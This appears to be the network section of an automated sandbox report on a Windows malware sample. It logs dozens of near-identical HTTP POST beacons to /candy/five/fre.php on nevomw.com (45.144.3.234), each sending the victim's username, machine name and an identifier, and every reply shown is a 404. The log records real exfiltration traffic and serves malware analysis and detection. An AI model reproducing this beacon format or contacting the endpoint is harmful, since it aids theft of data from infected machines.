Dec 2, 2020 11:53:36.488735914 CET	1447	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:36.561460018 CET	1447	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:36 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
117	192.168.2.6	49860	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:36.878453016 CET	1448	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:36.931330919 CET	1448	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:37.006664038 CET	1448	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:36 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
118	192.168.2.6	49861	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:37.316129923 CET	1449	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:37.369921923 CET	1449	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:37.454833031 CET	1450	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:37 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
119	192.168.2.6	49862	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:37.757545948 CET	1451	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:37.810399055 CET	1451	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:37.885756016 CET	1451	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:37 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.6	49725	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:52:48.049426079 CET	87	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:52:48.111213923 CET	88	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:52:48.184302092 CET	88	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:52:48 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
120	192.168.2.6	49863	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:38.181313038 CET	1452	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:38.234414101 CET	1452	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:38.308756113 CET	1453	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:38 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
121	192.168.2.6	49864	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:38.602222919 CET	1455	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:38.655989885 CET	1455	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:38.728997946 CET	1456	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:38 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
122	192.168.2.6	49866	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:38.961338997 CET	1462	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:39.015393019 CET	1462	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:39.091332912 CET	1465	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:39 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
123	192.168.2.6	49867	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:39.390388966 CET	1471	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:39.443120956 CET	1471	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:39.517182112 CET	1472	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:39 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
124	192.168.2.6	49869	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:39.815212011 CET	1477	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:39.867501974 CET	1478	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:39.940459967 CET	1481	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:39 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
125	192.168.2.6	49870	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:40.305916071 CET	1487	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:40.358675003 CET	1487	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:40.432230949 CET	1487	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:40 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
126	192.168.2.6	49871	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:40.669919968 CET	1488	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:40.722479105 CET	1488	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:40.795722961 CET	1489	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:40 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
127	192.168.2.6	49872	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:41.124373913 CET	1490	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:41.197284937 CET	1490	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:41.271989107 CET	1490	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:41 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
128	192.168.2.6	49873	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:41.506474018 CET	1491	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:41.558218956 CET	1491	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:41.630264044 CET	1492	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:41 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
129	192.168.2.6	49874	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:41.908529997 CET	1493	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:41.961838007 CET	1493	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:42.037555933 CET	1493	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:42 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.6	49726	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:52:48.489829063 CET	89	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:52:48.542445898 CET	89	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:52:48.616770983 CET	90	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:52:48 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
130	192.168.2.6	49875	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:42.363986015 CET	1494	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:42.648721933 CET	1494	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:42.961201906 CET	1495	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 00 37 00 31 00 00 05 00 00 00 04 00 00 01 00 01 00 01 00 0a 00 00 00 01 00 00 00 01 00 30 00 00 00 38 00 46 00 39 00 43 00 34 00 45 00 39 00 43 00 37 00 39 00 41 00 33 00 42 00 35 00 32 00 42 00 33 00 46 00 37 00 33 00 39 00 34 00 33 00 30 00 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:43.570696115 CET	1495	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 00 37 00 31 00 00 05 00 00 00 04 00 00 01 00 01 00 01 00 0a 00 00 00 01 00 00 00 01 00 30 00 00 00 38 00 46 00 39 00 43 00 34 00 45 00 39 00 43 00 37 00 39 00 41 00 33 00 42 00 35 00 32 00 42 00 33 00 46 00 37 00 33 00 39 00 34 00 33 00 30 00 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:44.446561098 CET	1496	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:44 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
131	192.168.2.6	49876	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:44.731017113 CET	1497	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:44.783736944 CET	1497	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:44.857261896 CET	1497	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:44 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
132	192.168.2.6	49877	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:45.110817909 CET	1498	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:45.163388014 CET	1498	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:45.239439011 CET	1499	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:45 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
133	192.168.2.6	49878	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:45.530514956 CET	1499	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
